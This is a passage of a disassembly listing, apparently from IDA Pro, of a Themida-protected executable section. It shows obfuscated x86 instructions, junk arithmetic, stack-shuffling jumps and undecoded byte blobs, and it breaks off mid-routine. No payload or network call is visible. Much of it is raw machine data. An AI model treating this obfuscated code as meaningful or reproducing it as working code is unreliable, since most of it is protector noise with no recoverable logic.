word_53EE3E	dw 48Bh			; DATA XREF: Themida_:00535288o
		dd 0EC835324h, 24248904h, 4240481h, 5B000000h, 7C1CE956h
		db 2 dup(0FFh)
word_53EE56	dw 8B66h		; DATA XREF: Themida_:00535304o
		dd 0EC81240Ch, 4, 0E9242C89h, 0FFFF75E6h, 0E820F1B5h, 0B6526659h
		dd 66F0207Bh, 975CE95Ah, 2C8BFFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5384F9
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 0FF799AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53EE95:				; CODE XREF: Themida_:0054118Cj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_53965C
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 242C8B24h, 81E18951h, 4C1h, 4C18300h, 0FF9FAFE9h, 240433FFh
		dd 0FF65C9E9h, 4BEFFh, 74010000h, 348B0424h, 4C48124h
		dd 59000000h, 21D1E9h, 5BDD0100h, 8B242C87h, 0D3662424h
		dd 0E99C2424h, 0FFFF647Bh
; ---------------------------------------------------------------------------

loc_53EEE8:				; CODE XREF: Themida_:005369F8j
		push	ecx
		push	esp
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5393B4
; ---------------------------------------------------------------------------

loc_53EF05:				; CODE XREF: Themida_:0053A5FAj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	edi
		jmp	loc_539E44
; ---------------------------------------------------------------------------
		dw 0F328h
		dd 0FFBAFCE9h, 243C89FFh, 0CDE95F54h, 29FFFFE9h, 148B5FFDh
		dd 4C48324h, 2474FF55h,	48F5D04h, 24248B24h, 9C2404FEh
		dd 0FF6422E9h, 0E0C181FFh, 29A6E9F5h, 31C831C1h, 59C831C1h
		dd 0B105D8F7h, 0D380B69h, 6A4A7C96h, 0FFDB6FE9h, 405FFh
		dd 0BE560000h, 4, 46E9F001h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_53EF73:				; CODE XREF: Themida_:0053E8F5j
		xor	edi, 84051C4h
		add	ecx, edi
		pop	edi
		jmp	loc_54032E
; ---------------------------------------------------------------------------

loc_53EF81:				; CODE XREF: Themida_:00536659j
		mov	ebx, [esp]
		jmp	loc_5402CD
; ---------------------------------------------------------------------------

loc_53EF89:				; CODE XREF: Themida_:0053E521j
		add	esp, 4
		push	esi
		push	6944796Dh
		pop	esi
		shr	esi, 8
		jmp	loc_5396CB
; ---------------------------------------------------------------------------

loc_53EF9B:				; CODE XREF: Themida_:00537EB2j
		push	524Bh
		jmp	loc_53AED5
; ---------------------------------------------------------------------------
		db 51h,	52h, 0B6h
		dd 28E3B591h, 282EE9F5h, 0D0280000h, 0FFE54EE9h, 4335EFFh
		dd 24043124h, 0FF6D74E9h, 4FE95AFFh
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53EFCB:				; CODE XREF: Themida_:00539BC1j
		pop	edi
		sub	eax, 2CB73268h
		inc	eax
		not	eax
		add	eax, 256F3575h
		jmp	loc_536ADC
; ---------------------------------------------------------------------------
		dw 8958h
		dd 2EE95BDEh, 89FFFF9Bh, 0D1015BDAh, 0FF6932E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53EFF1:				; CODE XREF: Themida_:00536E4Aj
		mov	ebp, 497C3A59h
		add	ebp, 521915A1h
		neg	ebp
		shl	ebp, 1
		xor	ebp, 605024Bh
		jmp	loc_53F930
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 0A8BA5251h, 89144B5Ah, 7097E9D1h,	8159FFFFh, 5CE600EEh
		dd 0F3E9812Fh, 81076D02h, 0A23CF5C1h, 81F10166h, 0A23CF5E9h
		dd 0F3C18166h, 0E9076D02h, 0FFFF7176h, 0E956E789h, 0FFFFFBD0h
		dd 231BB951h, 0BD554DE4h, 75454078h, 49E9E929h
		db 0B7h, 2 dup(0FFh)
byte_53F05F	db 8Bh			; DATA XREF: Themida_:005352ACo
		dd 0EC812404h, 4, 83240C89h, 6E904ECh, 56FFFF8Dh, 982973BEh
		dd 0E9D6F72Bh, 0FFFF9E8Eh
; ---------------------------------------------------------------------------

loc_53F080:				; CODE XREF: Themida_:005402DBj
		pop	ebp
		push	edi
		jmp	loc_53B91D
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 4245C01h,	241C8B5Bh, 4C481h, 0C3810000h, 4, 0FFF4E2E9h
		dd 8D568FFh, 34890000h,	16824h,	34FF0000h, 72685E24h, 89000016h
		dd 5EE9243Ch, 8100001Bh, 4C4h, 0F8305800h, 266BE9h
		db 0
; ---------------------------------------------------------------------------

loc_53F0D1:				; CODE XREF: Themida_:00540D83j
		mov	edx, 5F257C69h
		xor	edx, 2E4036AEh
		and	edx, 4EFD4474h
		xor	edx, 7E95662Eh
		and	ebp, edx
		pop	edx
		add	ebp, 2ADDF662h
		xor	ebx, ebp
		pop	ebp
		sub	eax, 252E7CFFh
		sub	eax, ebx
		add	eax, 252E7CFFh
		pop	ebx
		push	edx
		mov	edx, 3A491E96h
		jmp	loc_53A1FE
; ---------------------------------------------------------------------------
		dd 6E7AE951h, 0E589FFFFh, 0FF79BDE9h, 0D0895CFFh, 5A2434FFh
		dd 4C481h, 3C8B0000h, 4C48124h,	0E9000000h, 0FFFF622Fh
		dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0E9Fh
; ---------------------------------------------------------------------------

loc_53F148:				; CODE XREF: Themida_:005390B4j
		xor	eax, ecx
		push	2B06h
		mov	[esp], eax
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_53E70A
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 0C8B665Ch, 5C8D6824h, 4890000h, 24E95424h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F17B:				; CODE XREF: Themida_:0053FF27j
		push	small 0
		sub	[esp], bl
		mov	bl, [esp]
		add	esp, 2
		shl	bl, 1
		and	bl, 0A2h
		push	eax
		jmp	loc_53D425
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E95E2434h, 61Fh, 8B24248Bh,	80E92404h, 5FFFFD5h, 4
		dd 405h, 0EA1CE900h
		db 2 dup(0FFh)
word_53F1B6	dw 0FF64h		; DATA XREF: Themida_:00535274o
		dd 61A5E932h, 0EC83FFFFh, 0D65CE904h, 0BB68FFFFh, 89000060h
		dd 0BB532434h, 33C6229Fh, 1FA1F381h, 0D3F755D2h, 0FF9B62E9h
		dd 243487FFh, 24048F5Ch, 0E930FF5Ch, 0FFFF6173h, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 0D0E9243Ch, 89FFFF83h, 69E9243Ch
		dd 5CFFFFB5h, 54243489h, 4C6815Eh, 53000000h, 293242BBh
		dd 0BAEFE95Bh, 0E952FFFFh, 0FFFF85EEh
; ---------------------------------------------------------------------------

loc_53F22C:				; CODE XREF: Themida_:0053C0FDj
		xor	[esp], ebx
		jmp	loc_5394DC
; ---------------------------------------------------------------------------
dword_53F234	dd 207F83ADh, 1840F00h,	81FFFF68h, 0C82662C6h, 4CC68171h
					; DATA XREF: Themida_:005350B8o
		dd 1647A66h, 4CEE81C6h,	0E9647A66h, 0FFFFBDA9h,	5D88B850h
		dd 7CBD1C6Ch, 1E393A2h,	0EA8958C5h, 79C7815Dh, 1652948h
		dd 79EF81D7h, 8B652948h, 0C4812414h, 4,	8B243C87h, 0F1F72424h
		dd 0A0E68h, 9B51E900h, 0C681FFFFh, 1, 35EEE81h,	0E94E4EE1h
		dd 20Bh, 679D22B9h, 8BCE3185h, 0C483240Ch, 0C940E904h
		dd 3168FFFFh, 0E900000Dh, 0FFFF7E1Fh, 0E9240C31h, 0FFFF81E4h
		dd 2BD5553h, 55000000h,	0CC25E95Bh, 88E9FFFFh, 8BFFFF60h
		dd 0E957242Ch, 0FFFFBE69h
; ---------------------------------------------------------------------------

loc_53F2E4:				; CODE XREF: Themida_:00540148j
		add	ecx, eax
		pop	eax
		jmp	loc_53608B
; ---------------------------------------------------------------------------
		dd 2198EF81h, 0C8B1F51h, 4C48324h, 8B243C87h, 0D3662424h
		dd 0E99C2404h, 0FFFF605Bh, 592434FFh, 4C481h, 0EB800000h
		dd 0E6895683h, 4C681h, 0EE830000h, 71B8E904h, 2005FFFFh
		dd 5A645B6Dh, 3750E52Dh, 0D1A5E903h, 5066FFFFh,	0C600FFB0h
		dd 0C6805866h, 0B6526670h, 0BCEB80C8h, 0C380F328h, 5A66BCh
		dd 0C8C380F3h, 8124148Bh, 4C4h,	7372E900h, 15AFFFFh, 3FBB53F8h
		dd 0E942F641h, 0FFFFA49Ch, 0E9EA8958h, 1D4Dh, 59CDF381h
		dd 0DE29681Bh, 81C6015Bh, 923C2CC6h, 24048B6Ah,	7EE9h
		dd 4C48100h, 81000000h,	4C4h, 0DABD5500h, 0C170684Eh, 0F58107E5h
		dd 34276D04h, 8A09A12Dh, 5E80101h, 18A09A1h, 0E9242C8Bh
		dd 0FFFF842Ah, 8104E1C1h, 0FFF104C1h, 59CA018Eh, 8B241487h
		dd 13E92424h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F3D7:				; CODE XREF: Themida_:005406A1j
		mov	esi, 355757D7h
		not	esi
		xor	esi, 0B6CE89BCh
		add	eax, 73926E5Dh
		add	eax, 500A490Ch
		add	eax, 6F766856h
		sub	eax, esi
		sub	eax, 6F766856h
		push	esi
		mov	esi, 500A490Ch
		jmp	loc_5381A7
; ---------------------------------------------------------------------------

loc_53F405:				; CODE XREF: Themida_:0053CCF3j
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_53C494
; ---------------------------------------------------------------------------
		db 83h
		dd 0C68304C4h, 762DE902h, 0A0B9FFFFh, 0E9702B6Dh, 0FFFFC02Ch
		dd 2BDh, 960FE900h, 5158FFFFh, 0FFB886E9h, 2434FFFFh, 4C4815Bh
		dd 81000000h, 4C3h, 48846800h, 5AE90000h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F44F:				; CODE XREF: Themida_:0053D2C9j
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_541180
; ---------------------------------------------------------------------------
		dw 0E831h
		dd 5D2434FFh, 4C481h, 0F7680000h, 89000065h, 0AABF243Ch
		dd 0C156B56Ch, 0EFC108EFh, 0B6A0E904h, 5556FFFFh, 0C20F90BDh
		dd 3EDC146h, 88A1E951h,	4BBFFFFh, 0E9000000h, 0FFFFD4BCh
; ---------------------------------------------------------------------------

loc_53F498:				; CODE XREF: Themida_:0053E2C6j
		shl	edi, 4
		add	edi, 5F17FF4h
		jmp	loc_53B350
; ---------------------------------------------------------------------------
		dw 1431h
		dd 61E95824h, 81000003h, 1922EAEEh, 9C8AE96Ch, 0C083FFFFh
		dd 24043304h, 33240431h, 815C2404h, 486FC4C2h, 0EDEA8176h
		dd 8115F857h, 5F59C6EAh, 81C20171h, 5F59C6C2h, 84F1E971h
		dd 0C183FFFFh, 1DFE904h, 0F1800000h, 59C83068h,	0B60FC330h
		dd 0E957E9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F4FE:				; CODE XREF: Themida_:00538201j
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_53D1B3
; ---------------------------------------------------------------------------
		dd 4DF4C181h, 0CB01B17Ah, 243C8B59h, 5304C483h,	1926B951h
		dd 0C18127D9h, 596E445Eh, 0C98149h, 0C16E604Dh,	0F18102E9h
		dd 1B28D095h, 0F759CB89h, 4EBC1DBh, 0F708EBC1h,	7C1EE9DBh
		dd 1487FFFFh, 24248B24h, 24048B66h, 81E28952h, 4C2h, 4EA8100h
		dd 87000000h, 248B2414h, 24048924h, 0FF8E98E9h,	0E9F001FFh
		dd 0FFFF6B47h
dword_53F578	dd 240C8B66h, 4EC81h, 0FCE90000h, 81FFFF9Ah, 1012FDEBh
					; DATA XREF: Themida_:0053521Co
		dd 0FEE95368h, 81FFFF91h, 5A2F2DC1h, 8FE95338h,	81FFFFABh
		dd 4ECh, 241C8900h, 39BE9h, 0E9F82900h,	0FFFF8CF9h, 8609C4BBh
		dd 0F1EB8168h, 0E96E317Fh, 0FFFFBC91h, 24048F59h, 0FFC19BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53F5CD:				; CODE XREF: Themida_:00536AFEj
		pop	ebx
		shl	cl, 3
		push	ax
		jmp	loc_536FDA
; ---------------------------------------------------------------------------
		dd 6668C801h, 8900006Fh, 0C6BF243Ch, 106C51Eh, 332D5FF8h
		dd 2D0EF616h, 2D402F80h, 52240C8Bh, 0C281E289h,	4, 0E904C283h
		dd 0FFFF77AEh, 0BB241C89h, 3FCh, 722CC781h, 0DF017712h
		dd 0FBA8E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F61E:				; CODE XREF: Themida_:00536FE8j
		sub	dh, 87h
		jmp	loc_53BA81
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0F777E924h, 0EC81FFFFh, 4, 88240C89h, 59EC88F5h, 6EB3E95Ah
		dd 0DEF7FFFFh, 57A1EE81h, 0F129BECEh, 81D1015Eh, 0FB39F5C1h
		dd 0A56CE931h
		db 2 dup(0FFh)
word_53F65A	dw 8B66h		; DATA XREF: Themida_:005352D8o
		dd 83572404h, 248904ECh, 24048124h, 4, 0FFDAEBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53F671:				; CODE XREF: Themida_:0053615Fj
		pop	eax
		and	dh, 0B9h
		not	dh
		push	small 0
		sub	[esp], dh
		jmp	loc_53FEF6
; ---------------------------------------------------------------------------
		db 28h
		dd 0ED045BF8h, 2858C630h, 45E95AF0h, 2DFFFFF5h,	838FC7E0h
		dd 0ECE9C301h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F69F:				; CODE XREF: Themida_:0053B1CAj
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	dh, 0E2h
		inc	dh
		shr	dh, 6
		push	bx
		mov	bh, dh
		jmp	loc_53E3B6
; ---------------------------------------------------------------------------
		dd 0BD554E5Ah, 5B640A94h, 0FFD933E9h, 240C87FFh, 524248Bh
		dd 4, 6802C083h, 5476h,	0FF240489h, 58042474h, 0E924048Fh
		dd 0FFFF66E2h, 5C62F181h, 0F1810E28h, 75752A18h, 0DE20E951h
		dd 0E589FFFFh, 0FFE8A5E9h, 5C55E9FFh, 0F8B8FFFFh, 356FF152h
		dd 36101A89h, 10A642Dh,	0CD51E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F722:				; CODE XREF: Themida_:0053A08Cj
		pop	ebx
		sub	ebx, 44094E1Ah
		jmp	loc_535C0B
; ---------------------------------------------------------------------------
		dd offset byte_53BA68
		dw 8900h
		dd 0C2882414h, 148BD188h, 4C48124h, 52000000h, 3CE9CA88h
		dd 89FFFF65h, 82B42404h, 0E4D0DCF6h, 0CDE9DCF6h, 55FFFFD7h
		dd 0FFDF82E9h, 240487FFh, 8924248Bh, 4B82404h, 1000000h
		dd 2C3358C5h, 242C3124h, 0E9242C33h, 0FFFF9C7Ah
; ---------------------------------------------------------------------------

loc_53F780:				; CODE XREF: Themida_:005407B2j
		mov	dl, 0DAh
		sub	dl, 0FFh
		or	dl, 0F2h
		jmp	loc_5360E3
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 0FFD1BFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53F7A5:				; CODE XREF: Themida_:00538EDAj
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, 6411547Ch
		xor	eax, edi
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_536757
; ---------------------------------------------------------------------------
		db 83h
		dd 0C68104C4h, 4, 0C46E9h, 81E58900h, 4C5h, 2685100h, 59000000h
		dd 23E9CD29h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F7DF:				; CODE XREF: Themida_:00536C44j
					; Themida_:00536CBAj ...
		push	1CCFh
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_53A88E
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 4BBB5359h, 0E90E7A0Bh, 0FFFF5C6Ah
; ---------------------------------------------------------------------------

loc_53F808:				; CODE XREF: Themida_:00539B03j
		pop	ebp
		add	ebp, esi
		jmp	loc_5366AA
; ---------------------------------------------------------------------------
		dd 1BD55h, 0E8210000h, 0FFC196E9h
		db 0FFh
byte_53F81D	db 0FFh, 74h, 24h	; DATA XREF: Themida_:005350D4o
		dd 2434FF04h, 1A3E9h, 242C8900h, 4BDh, 0E9E80100h, 1A3h
		dd 2721BD55h, 0A2E93EEEh, 0FFFFFF74h, 5A042474h, 1D76E9h
		db 0
; ---------------------------------------------------------------------------

loc_53F84D:				; CODE XREF: Themida_:0054136Bj
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 60982DFCh
		add	esi, 7DC0775h
		xor	esi, 68743575h
		add	ebx, esi
		pop	esi
		jmp	loc_53CFF4
; ---------------------------------------------------------------------------
		db 58h,	28h, 0F8h
		dd 241C8B66h, 0FFC49CE9h, 4EC83FFh, 0E9240489h,	0FFFFB9A9h
		dd 0E9D90166h, 64Bh, 5750E789h,	454FC5BFh, 8BF88932h, 98E9243Ch
		dd 50FFFF94h, 8A6A65B8h, 58C38924h, 5E5BD801h, 8A0F0805h
		dd 1191E978h, 0C4830000h, 8BF10104h, 0C4812434h, 4, 2C181h
		dd 0C870000h, 5EDFE924h, 0C183FFFFh, 240C8704h,	0F72C5Ch
		dd 66F704C8h, 68C33059h, 64FAh,	0FFFD1BE9h, 2A7E35FFh
		dd 0D8F721DCh, 0D4FD3E2Dh, 58C62980h, 0C681EE01h, 73164573h
		dd 6A652D5Dh, 5AE9248Ah
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F90F:				; CODE XREF: Themida_:0053E1F0j
		shl	esi, 8
		xor	esi, 4E55E304h
		add	ebx, esi
		pop	esi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_53C981
; ---------------------------------------------------------------------------

loc_53F930:				; CODE XREF: Themida_:0053F006j
		add	ebp, 7947E40Bh
		xor	eax, ebp
		jmp	loc_539BC0
; ---------------------------------------------------------------------------
		db 29h,	0C3h, 58h
		dd 0E95BDA01h, 1688h, 5550E389h, 0B0366EBDh, 15FAE967h
		db 2 dup(0)
word_53F956	dw 4ACh			; DATA XREF: Themida_:005352D0o
		dd 0AC6866E9h, 0C89664Eh, 91B124h, 0A439E9C8h, 0F201FFFFh
		dd 5324348Bh, 0C381E389h, 4, 8704C383h,	565C241Ch, 1C51E9h
		dd 0D5C78100h, 893BB662h, 0DC85E9FAh, 0C281FFFFh, 707C43CAh
		dd 2042BF57h, 0ECE91FABh, 0F7FFFFD0h, 1AED81D5h, 3181E585h
		dd 0CE815DEEh, 2A802808h, 0BB53h, 0F3290000h, 0F75BDE89h
		dd 4EC81D6h, 0E9000000h, 0FFFFB421h, 9D685658h,	89000026h
		dd 3DE92424h, 5DFFFF5Ah, 31240433h, 4332404h, 78E95C24h
		dd 0F7FFFF59h, 0CD8145D5h, 616D5EE8h, 0FF7F1FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53F9F9:				; CODE XREF: Themida_:0053B9D4j
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, 73DB00EAh
		push	ebp
		jmp	loc_540021
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 7AF4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53FA16:				; CODE XREF: Themida_:0053A508j
		xor	eax, ebx
		pop	ebx
		sub	ebx, 0E5B3092h
		sub	ebx, 2D725AF3h
		jmp	loc_540551
; ---------------------------------------------------------------------------
		dw 34E9h
		dd 81FFFF59h, 0A362DF2h, 9BC681C1h, 8127EC6Ch, 3C23B1EEh
		dd 81D60129h, 3C23B1C6h, 6E0CE929h, 0EE81FFFFh,	8310B1Ah
		dd 0FFF1015Dh, 835E2434h, 0C18304C4h, 240C3304h, 33240C31h
		dd 19E9240Ch, 8B000013h, 0C483243Ch, 4C48104h, 0E9000000h
		dd 0FFFFD404h
; ---------------------------------------------------------------------------

loc_53FA80:				; CODE XREF: Themida_:0053617Bj
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		and	ecx, esi
		jmp	loc_53A32A
; ---------------------------------------------------------------------------

loc_53FA8E:				; CODE XREF: Themida_:0053BA2Fj
		pop	ebx
		jmp	loc_53EBF2
; ---------------------------------------------------------------------------

loc_53FA94:				; CODE XREF: Themida_:00536C29j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	esi
		jmp	loc_53AE39
; ---------------------------------------------------------------------------
dword_53FAA4	dd 2D8968h, 242C8900h, 4EC81h, 24890000h, 24048124h, 4
					; DATA XREF: Themida_:00535250o
		dd 0FFDA89E9h, 2474FFFFh, 48F5B04h, 24248B24h, 0F66E1F6h
		dd 6868CCB6h, 89000030h, 0FB68240Ch, 5400001Fh,	6824048Fh
		dd 2106h, 0E9243C89h, 0FFFFF51Bh
dword_53FAF0	dd 0FF3C77FFh, 68582434h, 35EDh, 54240C89h, 592434FFh
					; DATA XREF: Themida_:0053523Co
		dd 8104C483h, 4C1h, 0A2BF5700h,	0E930F33Bh, 0FFFFA20Eh
; ---------------------------------------------------------------------------

loc_53FB18:				; CODE XREF: Themida_:005365B5j
		jmp	loc_53A70D
; ---------------------------------------------------------------------------
		db 1, 5Ch, 24h
		dd 72E95B04h, 0FEFFFFBCh, 0C04C0CC8h, 6F6808E0h, 0E9000059h
		dd 1042h, 5004C083h, 42474FFh, 24048F58h, 8FEF815Ch, 0E92D193Bh
		dd 0FFFFE2D4h, 12E95358h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53FB57:				; CODE XREF: Themida_:0053C860j
		mov	ebx, 6596284h
		jmp	loc_536517
; ---------------------------------------------------------------------------

loc_53FB61:				; CODE XREF: Themida_:0053AFBFj
		or	dh, 1Bh
		xor	dh, 50h
		push	ebx
		mov	bh, 6
		push	dx
		mov	dl, 5Ch
		add	bh, 90h
		add	bh, dl
		sub	bh, 90h
		pop	dx
		sub	bh, 0E4h
		sub	bh, 1
		push	dx
		push	eax
		mov	ah, 45h
		mov	dh, ah
		pop	eax
		sub	bh, dh
		mov	dx, [esp]
		add	esp, 2
		or	dh, bh
		pop	ebx
		push	eax
		mov	ah, 45h
		shr	ah, 2
		not	ah
		add	ah, 6Dh
		xor	dh, ah
		jmp	loc_53ACA1
; ---------------------------------------------------------------------------
		dd 9CC83B66h, 0FF57B6E9h, 0D1C209FFh, 8EE952E2h, 52FFFFADh
		dd 157165BAh, 0D2F7420Ch, 0EA81E2D1h, 0E7D51D30h, 83E9D389h
		dd 8BFFFF7Fh, 0C481241Ch, 4, 8B240487h,	8B662424h, 0FDE92404h
		dd 0BFFFFF8Ah, 400C595Eh, 0FFC8BFE9h, 72ED81FFh, 1545B05h
		dd 0EC835DE8h, 0FC27E904h, 315FFFFFh, 0E48DE9FAh, 0EFB2FFFFh
		dd 34FFD000h, 0C4835A24h, 0B6526604h, 66F0006Ah, 0E1E95Ah
		dd 0DBF70000h, 3875F381h, 0C3815026h, 0E7F8E58Bh, 1C8BDE01h
		dd 4C48124h, 0E9000000h, 12C7h,	7CA8C381h, 0FB016D6Eh
		dd 7CA8EB81h, 0E95F6D6Eh, 1075h
; ---------------------------------------------------------------------------

loc_53FC54:				; CODE XREF: Themida_:00537BA1j
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_538666
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFBAD5E9h
		db 0FFh
byte_53FC71	db 81h,	0ECh, 4		; DATA XREF: Themida_:0053519Co
		dd 89000000h, 0E9522404h, 0FFFF98D2h, 0A5E9E289h, 89FFFF95h
		dd 9BB42404h, 0FFE41FE9h, 5AD520FFh, 8005E5C0h,	0EB0027F5h
		dd 0C0B60F59h, 0FF8734FFh, 53582434h, 0C381E389h, 4, 5304EB83h
		dd 0FFD9FCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53FCB9:				; CODE XREF: Themida_:00535773j
		mov	edx, [esp]
		jmp	loc_53B378
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 2
		dd 10AEF381h, 0C381444Ch, 26A02CA0h, 7EB85043h,	0E97E5182h
		dd 0FFFFFC61h, 0BF575250h, 8A1B65h, 6AD3C781h, 0F9E929ECh
		dd 81FFFF98h, 4C4h, 0B13E900h, 895C0000h, 0ABE9241Ch, 1
		dd 2C6A2CC8h, 665966EFh, 66187F68h, 68241489h, 5C4Dh, 0FFFA2EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53FD1D:				; CODE XREF: Themida_:00539160j
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_53C765
; ---------------------------------------------------------------------------

loc_53FD3B:				; CODE XREF: Themida_:00539A20j
		pop	edi
		pop	esi
		movzx	ax, byte ptr [eax]
		push	edx
		sub	esp, 4
		jmp	loc_540DAB
; ---------------------------------------------------------------------------

loc_53FD4A:				; CODE XREF: Themida_:0053BADCj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 585F75BEh
		jmp	loc_53BF1B
; ---------------------------------------------------------------------------
		dd 58DDEB81h, 0D3295ABCh, 58DDC381h, 7CE95ABCh,	29FFFFB8h
		dd 689E68D8h, 2C890000h, 59E95124h
		db 8Fh,	2 dup(0FFh)
byte_53FD83	db 0ADh			; DATA XREF: Themida_:00535270o
		dd 0FFE93CE9h, 242489FFh, 4240483h, 0FFEDE9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53FD95:				; CODE XREF: Themida_:005356AFj
		push	eax
		jmp	loc_53C532
; ---------------------------------------------------------------------------

loc_53FD9B:				; CODE XREF: Themida_:005404DDj
		mov	eax, 79D9266Ah
		jmp	loc_539F0A
; ---------------------------------------------------------------------------
byte_53FDA5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00535184o
aH@		db '$h\@',0
		align 2
		dw 81E9h
		dd 81FFFF8Ch, 0BC7479CBh, 24E9555Bh, 81FFFF85h,	337F7AC2h
		dd 0C1D2F70Ch, 0F28103EAh, 1B69DA67h, 835AD001h, 0FF5004E8h
		dd 58042474h, 8B24048Fh, 21E92424h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53FDE7:				; CODE XREF: Themida_:00535EB9j
		mov	[esp], ebp
		mov	ebp, 17B0058Bh
		add	ebp, 293F25FEh
		inc	ebp
		add	ebp, 1C9C26E2h
		push	3421h
		mov	[esp], ebx
		push	0E5D08B3h
		pop	ebx
		jmp	loc_53B752
; ---------------------------------------------------------------------------
		db 83h
		dd 248904ECh, 24048324h, 0EC815D04h, 4,	0B8240489h, 4
		dd 0FFE9C501h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53FE2F:				; CODE XREF: Themida_:0053A5A3j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		push	esi
		mov	esi, 785E5B06h
		jmp	loc_53FE56
; ---------------------------------------------------------------------------

loc_53FE50:				; CODE XREF: Themida_:00541517j
		pop	ebx
		jmp	loc_53EC42
; ---------------------------------------------------------------------------

loc_53FE56:				; CODE XREF: Themida_:0053FE4Bj
		mov	ebp, 785E5B07h
		sub	ebp, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_539FD1
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 6DE90000h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53FE7B:				; CODE XREF: Themida_:005412FAj
		mov	edi, 74EB7B00h
		shl	edi, 8
		inc	edi
		sub	edi, 0CB5485E2h
		sub	eax, edi
		pop	edi
		pop	edx
		shl	eax, cl
		push	2ABAh
		mov	[esp], ebx
		mov	ebx, 46D37B20h
		add	ebx, 0B92C84DFh
		push	edi
		mov	edi, 570425Eh
		jmp	loc_53D459
; ---------------------------------------------------------------------------
		dw 24B3h
		dd 0E904E3C0h, 0FFFFBF04h, 0C7C1EF81h, 0FA29E360h, 89685E5Fh
		dd 89000056h, 74FF2414h, 8F5A0424h, 19E92404h, 66FFFFBDh
		dd 0CD89665Bh, 0FF7E75E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53FEE1:				; CODE XREF: Themida_:0053B04Fj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		sub	esp, 4
		jmp	loc_541701
; ---------------------------------------------------------------------------

loc_53FEF6:				; CODE XREF: Themida_:0053F67Ej
		mov	dh, [esp]
		add	esp, 2
		xor	dh, 0FCh
		xor	dh, 22h
		add	dh, 0ECh
		sub	bl, 1Ch
		add	bl, dh
		add	bl, 1Ch
		pop	edx
		add	bl, al
		push	ecx
		mov	cl, 0BEh
